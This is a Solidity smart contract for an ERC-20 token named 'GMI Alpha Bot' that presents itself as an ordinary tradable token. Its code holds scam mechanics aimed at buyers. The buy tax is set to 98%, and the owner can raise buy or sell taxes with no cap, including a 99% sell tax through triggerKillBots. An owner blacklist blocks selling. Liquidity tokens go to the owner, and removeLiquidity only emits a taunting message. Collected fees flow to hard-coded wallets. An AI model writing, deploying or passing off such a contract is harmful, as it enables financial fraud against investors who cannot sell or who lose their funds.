文件 1 的 1:GMIBOT.sol
pragma solidity ^0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GMIBOT is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private blacklist;
address payable private team_wallet;
address payable private rewards_wallet;
uint256 firstBlock;
string private constant _name = "GMI Alpha Bot";
string private constant _symbol = "GMIBOT";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
uint256 private _BuyTax = 98;
uint256 private _SellTax = 30;
uint256 private _preventSwapBefore = 70;
uint256 public _maxTxAmount = 2_000_000 * 10**_decimals;
uint256 public _maxWalletSize = _totalSupply / 250;
uint256 public _taxSwapThreshold;
uint256 private _buyCounter = 0;
uint256 private _KillBotsCounter = 0;
uint256 private _updateBuyTaxCounter = 0;
uint256 private _updateSellTaxCounter = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = false;
event Message(address indexed sender, string message);
event KillBotsToggled(bool enabled);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
team_wallet = payable(0x2Faaecf11A9EB1F2E636fEB0a40073D04B00e009);
rewards_wallet = payable(0x385b705FfB300a9Ce89E9FC6949654266e4a0599);
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[team_wallet] = true;
_isExcludedFromFee[rewards_wallet] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function setTeamWallet(address payable _teamWallet) external onlyOwner {
require(_teamWallet != address(0), "Address must be valid");
team_wallet = _teamWallet;
}
function setRewardsWallet(address payable _rewardsWallet) external onlyOwner {
require(_rewardsWallet != address(0), "Address must be valid");
rewards_wallet = _rewardsWallet;
}
function withdrawETH() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function withdrawToken(IERC20 token) external onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(owner(), balance);
}
function removeLiquidity() external onlyOwner {
emit Message(msg.sender, "Too bad to see you leaving that early");
}
function triggerKillBots() external onlyOwner {
require(_KillBotsCounter < 2, "KillBots can only be triggered twice");
_SellTax = 99;
_KillBotsCounter++;
}
function updateBuyTax(uint256 value) external onlyOwner {
require(_updateBuyTaxCounter < 6, "updateBuyTax can only be called 6 times");
_BuyTax = value;
_updateBuyTaxCounter++;
}
function updateSellTax(uint256 value) external onlyOwner {
require(_updateSellTaxCounter < 6, "updateSellTax can only be called 6 times");
_SellTax = value;
_updateSellTaxCounter++;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from]) {
require(!blacklist[from] && !blacklist[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
taxAmount = (amount * _BuyTax) / 100;
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if (firstBlock + 3 > block.number) {
require(!isContract(to));
}
_buyCounter++;
}
if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = (amount * _SellTax) / 100;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >= _taxSwapThreshold && _buyCounter > _preventSwapBefore) {
swapTokensForEth(_taxSwapThreshold);
}
}
if (taxAmount > 0) {
_balances[address(this)] += taxAmount;
emit Transfer(from, address(this), taxAmount);
}
_balances[from] -= amount;
_balances[to] += amount - taxAmount;
emit Transfer(from, to, amount - taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 contractETHBalance = address(this).balance;
uint256 teamAmount = (contractETHBalance * 60) / 100;
uint256 rewardsAmount = contractETHBalance - teamAmount;
team_wallet.transfer(teamAmount);
rewards_wallet.transfer(rewardsAmount);
}
function killLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletSize = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function updateTaxSwapThreshold(uint256 newThreshold) external onlyOwner {
_taxSwapThreshold = newThreshold;
}
function burn(uint256 amount) public onlyOwner {
require(amount <= _balances[msg.sender], "Amount exceeds available balance");
_transfer(msg.sender, 0x000000000000000000000000000000000000dEaD, amount);
}
function addBlacklist(address[] memory addresses) public onlyOwner {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function delBlacklist(address[] memory addresses) public onlyOwner {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function isBlacklist(address a) public view returns (bool) {
return blacklist[a];
}
function knockKnock() external onlyOwner {
require(!swapEnabled, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_taxSwapThreshold = (_totalSupply * 2) / 1000;
swapEnabled = true;
firstBlock = block.number;
}
receive() external payable {}
}